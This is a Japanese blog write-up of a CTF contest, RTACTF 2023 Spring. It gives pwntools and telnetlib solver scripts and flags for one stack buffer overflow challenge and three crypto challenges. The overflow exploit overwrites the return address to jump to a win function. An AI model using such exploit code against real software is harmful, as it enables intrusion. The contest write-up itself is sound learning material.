1. はじめに
2023/3/21 15:00 JST ~ 2023/3/7 18:30 JST(?) に開催された「RTACTF 2023 春」に(プレーヤーもしくは走者と呼ばれる「招待選手枠」ではなく、「市民ランナー枠」で)参加しました。
想定時間内で解けた問題はゼロしたが、自力で解けたのが pwn 1問、crypto 3問でした。前回は crypto 2問のみでしたので、多少は進歩したのでしょうか。おそらく、お気楽な気持ちでやったのが功を奏したのでしょう。いずれにしても、「招待選手枠」だったらおそらく1問も解けなかったと思います*1。
以下、簡単にではありますが、参戦記を残したいと思います。
2. 参加までの経緯
経緯としては、おおむね以下のような感じです。
- 3/18(土)Twitter の TimeLine から開催の旨を知る。
- 3/19(日)Compassで参加を表明。
- 3/20(月)朝4:00頃までWolvCTF 2023 をやっていてフラフラだったので、夜早めに寝た。
- 3/21(火)スコアサーバへ登録。チョコレートを食して Warmup。
久しぶりにチョコレートを食したことと、気候が春めいてきた関係でテンションが上がり*2、当初は『pwn は観戦、crypto は息が切れるまで run』の予定でしたが、「RTA な ので易しめの問題も出るだろう」と予想して『pwn は解けなくなったら観戦に移行、crypto は息が切れるまで run』という方針に変更しました。
crypto は前回 RSA 問が出たので、今回は ECC / ECDSA か DSA あたりかと踏んで準備を進める一方、AES-GCM とかその周辺も怪しいと警戒をしていましたが、結局始まってみないと分からないので、準備は程々でオシマイとしました。
3. pwn
結果的には最初の 1 問のみを自力で解き、2 問目の途中であきらめて観戦へ移行しました。
※以下、ソルバとフラグのみを示します。問題の内容については、配信 RTACTF 2023 春 - YouTube を参照してください。
3.1 before-write(目標:300 sec、実績:384.57 sec)
シンプルかつ易しい stack-based buffer overflow 問でした。セキュリティ機構も甘々なので、リターンアドレスを win 関数のアドレスに書き換えるだけで OK となります。
以下の exploit を実行し、ローカルで成功することを確かめた後、リモートで繋ぎました。
from pwn import * import sys addr = 0x4011B6 if 'remote' in sys.argv: r = remote('redacted,' redacted) else: r = process('./chall') buf = b'A' * (0x20+ 8) buf += p64(addr) r.sendline(buf) r.interactive()
下から2行目は sendlineafter(b"value: ", buf) 等とすべきなのでしょうが、通ってしまったのでヨシとします。
RTACTF{sizeof_is_a_bit_c0nfus1ng}
4. crypto
crypto は 自力で 3 問解きました。
※pwn 同様、ソルバとフラグのみを示します。問題の内容については、配信 RTACTF 2023 春 - YouTube を参照してください。
4.1 XOR-CBC(目標:480 sec、実績:621.98 sec)
(AES とかではなく)XOR を CBC モードで実行するような暗号化関数が定義されており、それによる暗号化結果が与えらられます。 キーが求まれば復号可能ですが、もちろんキーは与えられません。
しかし、キーの長さは 8 バイトで、フラグは「RTACTF{」で始まるので、1 バイト分を総当たりすればどうにか出来そうです。
以下のソルバを実行して 95 個の候補を出し、その中から「目 grep」でフラグを見つけました。
from pwn import xor p64 = lambda x: struct.pack('<Q', x) u64 = lambda x: struct.unpack('<Q', x)[0] KEY_SIZE = 8 ct = bytes.fromhex("6528337d61658047295cef0310f933eb681e424b524bcc294261bd471ca25bcd6f3217494b1ca7290c158d7369c168b3") def decrypt(ciphertext, key): iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:] plaintext = b'' for i in range(0, len(ciphertext), KEY_SIZE): c_block = ciphertext[i:i+KEY_SIZE] p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key)) plaintext += p_block iv = c_block return plaintext.rstrip(plaintext[-1:]) iv = ct[:KEY_SIZE] _pt = b"RTACTF{" for i in range(0x20,0x7f): pt = _pt + chr(i).encode() key = xor(xor(pt, iv), ct[KEY_SIZE:KEY_SIZE*2]) print(decrypt(ct, key))
RTACTF{1_b0ugh7_4_b1k3_y3s73rd4y}
4.2 Collision-DES(目標:720 sec、実績:1811.70 sec)
DES のキーサイズは 56bit ですが、渡しているキーは 64 bit です。そこに Collision のヒントがあるわけですが、それに気づくまで時間を浪費してしまいました。
「どの bit がどのように切り捨てられるのか」分からなかったので、色々試行錯誤して回り道をしてしまいましたが、以下のソルバのようにやってみたら成功しました。結果オーライです*3。
import telnetlib from pwn import xor HOST = "redacted" PORT = redacted def readline(): return tn.read_until(b"\n") def sendline(s): return tn.write(s.encode() + b"\n") tn = telnetlib.Telnet(HOST, int(PORT)) key1 = bytes.fromhex(readline().strip().decode().replace("Key 1: ","")) key2 = xor(b"\x01" * 8, key1) print(key2) sendline(key2.hex()) print(readline()) print(readline()) tn.close()
RTACTF{The_keysize_of_DES_is_actually_56-bit}
4.3 (目標:1080 sec、実績:3269.13 sec)
これは、CFB モードの動きをちゃんと理解しておらずハマったもので、16 バイトずつのブロックではなく 1 バイトずつ処理されることに気づくまでの時間ロスが多大でした。to_send にフラグの判明分を仕込んで送信、暗号化結果(enc2)に対して xor(xor(enc1,enc2),to_send.encode()) すれば to_send で送った次の文字が判明するので、to_sendを都度手動で書き換えて「}」が出現するまで実行しました。
from Crypto.Util.number import * import telnetlib import gmpy2 from pwn import xor HOST = "redacted" PORT = redacted def readline(): return tn.read_until(b"\n") def readuntil(s): return tn.read_until(s.encode()) def sendline(s): return tn.write(s.encode() + b"\n") tn = telnetlib.Telnet(HOST, int(PORT)) enc1 = bytes.fromhex(readline().strip().decode()) to_send = "RTACTF{name_it_AES-SDGs}0000000" #<=試行の都度ここを書き換えていく readuntil("> ") sendline(to_send) enc2 = bytes.fromhex(readline().strip().decode()) print(xor(xor(enc1,enc2),to_send.encode())) tn.close()
RTACTF{name_it_AES-SDGs}
5. 感想
Symmetric Cipher つらいっす*5。
6. おわりに
RTA はめっちゃ苦手ですが、元気なら次回も参加します*6!!
7. 追記(3/22 7:20)
運営の皆様、ランナー(招待/市民)の皆様、観戦した皆様、お疲れさまでした&ありがとうございました。